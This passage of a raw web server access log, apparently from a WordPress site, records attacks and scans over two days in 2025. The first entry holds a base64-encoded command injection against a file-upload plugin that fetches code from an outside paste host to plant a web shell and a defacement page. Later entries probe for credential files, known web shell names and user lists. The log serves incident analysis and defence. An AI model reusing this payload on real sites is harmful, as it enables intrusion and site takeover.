/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?0=echo%20%60echo%20PD9waHAgZndyaXRlKGZvcGVuKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uJy9oay5waHAnLCd3KycpLGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL2dob3N0YmluLnNpdGUvb2NidmQvcmF3JykpOyBmd3JpdGUoZm9wZW4oJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2IweC5odG0nLCd3KycpLCdIYWNrZWQgYnkgUnhSJyk7Pz4=%20%7C%20base64%20--decode%60%3Ede.php;&file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9 HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.88.242 - - [31/Mar/2025:07:38:46 -0400] "GET /wp-content/plugins/wp-file-upload/de.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.88.242 - - [31/Mar/2025:07:39:02 -0400] "GET /hk.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 82.165.125.50 - - [31/Mar/2025:08:40:48 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 216.244.66.236 - - [31/Mar/2025:09:53:59 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 136.243.220.211 - - [31/Mar/2025:11:18:12 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DataForSeoBot/1.0; +https://dataforseo.com/dataforseo-bot)" 136.243.220.211 - - [31/Mar/2025:11:18:13 -0400] "GET /sitemap.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DataForSeoBot/1.0; +https://dataforseo.com/dataforseo-bot)" 2a02:c206:3015:2326::1 - - [31/Mar/2025:11:29:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 216.244.66.236 - - [31/Mar/2025:12:29:33 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 47.242.167.47 - - [31/Mar/2025:12:41:04 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3517.154 Safari/537.36" 43.166.244.192 - - [31/Mar/2025:12:42:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 101.55.81.36 - - [31/Mar/2025:12:49:56 -0400] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" 13.91.99.93 - - [31/Mar/2025:13:03:45 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 13.91.99.93 - - [31/Mar/2025:13:03:59 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 124.226.222.66 - - [31/Mar/2025:13:21:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.191.219.132 - - [31/Mar/2025:14:08:54 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.132 - - [31/Mar/2025:14:08:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 2a03:2880:12ff:74:: - - [31/Mar/2025:14:44:18 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 2a03:2880:31ff:9:: - - [31/Mar/2025:14:44:21 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 208.85.92.157 - - [31/Mar/2025:15:31:09 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 213.136.81.226 - - [31/Mar/2025:18:02:36 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 213.136.81.226 - - [31/Mar/2025:18:02:39 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 213.136.81.226 - - [31/Mar/2025:18:02:48 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 213.136.81.226 - - [31/Mar/2025:18:02:56 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 213.136.81.226 - - [31/Mar/2025:18:02:57 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 213.136.81.226 - - [31/Mar/2025:18:03:06 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 213.136.81.226 - - [31/Mar/2025:18:03:10 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 213.136.81.226 - - [31/Mar/2025:18:03:11 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 213.136.81.226 - - [31/Mar/2025:18:03:12 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 213.136.81.226 - - [31/Mar/2025:18:03:19 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 213.136.81.226 - - [31/Mar/2025:18:03:20 -0400] "GET /test/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 213.136.81.226 - - [31/Mar/2025:18:03:21 -0400] "GET /img/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 213.136.81.226 - - [31/Mar/2025:18:03:26 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.156.156.96 - - [31/Mar/2025:18:37:49 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 216.244.66.236 - - [31/Mar/2025:18:50:11 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 194.38.23.16 - - [31/Mar/2025:19:36:07 -0400] "GET /plugins/html5-file-upload/html5fileupload.remove.php HTTP/1.1" 301 795 "-" "ALittle Client" 216.244.66.236 - - [31/Mar/2025:19:37:26 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 20.122.100.70 - - [31/Mar/2025:20:03:25 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.122.100.70 - - [31/Mar/2025:20:03:30 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.122.100.70 - - [31/Mar/2025:20:03:31 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.122.100.70 - - [31/Mar/2025:20:03:33 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.122.100.70 - - [31/Mar/2025:20:03:33 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.122.100.70 - - [31/Mar/2025:20:03:34 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.122.100.70 - - [31/Mar/2025:20:03:34 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.122.100.70 - - [31/Mar/2025:20:03:35 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.122.100.70 - - [31/Mar/2025:20:03:36 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.122.100.70 - - [31/Mar/2025:20:03:37 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 216.244.66.236 - - [31/Mar/2025:20:34:37 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 167.94.138.206 - - [31/Mar/2025:21:30:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 2602:80d:1006::7e - - [31/Mar/2025:21:31:08 -0400] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 161.35.15.162 - - [31/Mar/2025:22:24:51 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.71.93.105 - - [31/Mar/2025:23:18:00 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 144.172.96.147 - - [01/Apr/2025:00:40:53 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.92.121 - - [01/Apr/2025:00:45:13 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 195.20.18.175 - - [01/Apr/2025:00:49:30 -0400] "GET /plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 181.214.153.11 - - [01/Apr/2025:01:09:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/89.0.4389.90 Safari/537.36" 128.24.77.109 - - [01/Apr/2025:01:15:09 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:14 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:15 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:17 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:18 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:20 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:21 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:22 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:22 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:24 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:25 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:26 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:27 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:30 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:33 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:34 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:35 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:36 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:37 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:37 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:38 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:38 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:39 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:40 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:40 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:41 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:41 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:42 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:43 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:43 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:44 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:45 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:45 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:46 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:47 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:47 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:47 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:48 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:48 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:49 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:50 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:50 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:50 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:51 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:51 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:52 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:52 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:53 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:53 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:54 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:54 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:55 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:55 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:55 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:56 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:56 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:57 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:57 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:57 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:58 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:58 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 128.24.77.109 - - [01/Apr/2025:01:15:59 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 18.188.242.255 - - [01/Apr/2025:01:27:26 -0400] "HEAD /?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 13; Pixel 6 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 18.188.242.255 - - [01/Apr/2025:01:27:26 -0400] "HEAD /wordpress/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15" 18.188.242.255 - - [01/Apr/2025:01:27:26 -0400] "HEAD /wp/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:114.0) Gecko/20100101 Firefox/114.0" 18.188.242.255 - - [01/Apr/2025:01:27:27 -0400] "HEAD /blog/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64" 18.188.242.255 - - [01/Apr/2025:01:27:27 -0400] "HEAD /test/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 18.188.242.255 - - [01/Apr/2025:01:27:27 -0400] "HEAD /test1/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 13; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 18.188.242.255 - - [01/Apr/2025:01:27:28 -0400] "HEAD /WP/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:114.0) Gecko/20100101 Firefox/114.0" 18.188.242.255 - - [01/Apr/2025:01:27:28 -0400] "HEAD /2025/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 10; SM-A205U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Mobile Safari/537.36 EdgA/46.03.4.5155" 159.89.202.254 - - [01/Apr/2025:01:35:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 216.244.66.236 - - [01/Apr/2025:02:20:03 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 144.172.96.147 - - [01/Apr/2025:03:45:48 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.71.92.63 - - [01/Apr/2025:03:51:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 147.185.132.85 - - [01/Apr/2025:05:45:32 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 45.55.35.120 - - [01/Apr/2025:06:41:50 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 129.151.171.247 - - [01/Apr/2025:07:21:49 -0400] "GET /media/system/js/core.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 129.151.171.247 - - [01/Apr/2025:07:21:59 -0400] "GET /wp-includes/js/jquery/jquery.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 152.42.183.103 - - [01/Apr/2025:07:26:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 170.64.160.110 - - [01/Apr/2025:07:51:30 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 216.244.66.236 - - [01/Apr/2025:08:10:39 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 34.66.85.159 - - [01/Apr/2025:08:48:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 216.244.66.236 - - [01/Apr/2025:08:57:43 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 165.154.227.201 - - [01/Apr/2025:09:34:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Embarcadero URI Client/1.0" 194.5.53.179 - - [01/Apr/2025:11:19:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.11.11" 147.185.132.33 - - [01/Apr/2025:11:54:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 196.251.88.242 - - [01/Apr/2025:12:20:00 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.88.242 - - [01/Apr/2025:12:20:18 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.88.242 - - [01/Apr/2025:12:20:31 -0400] "GET /wp.php 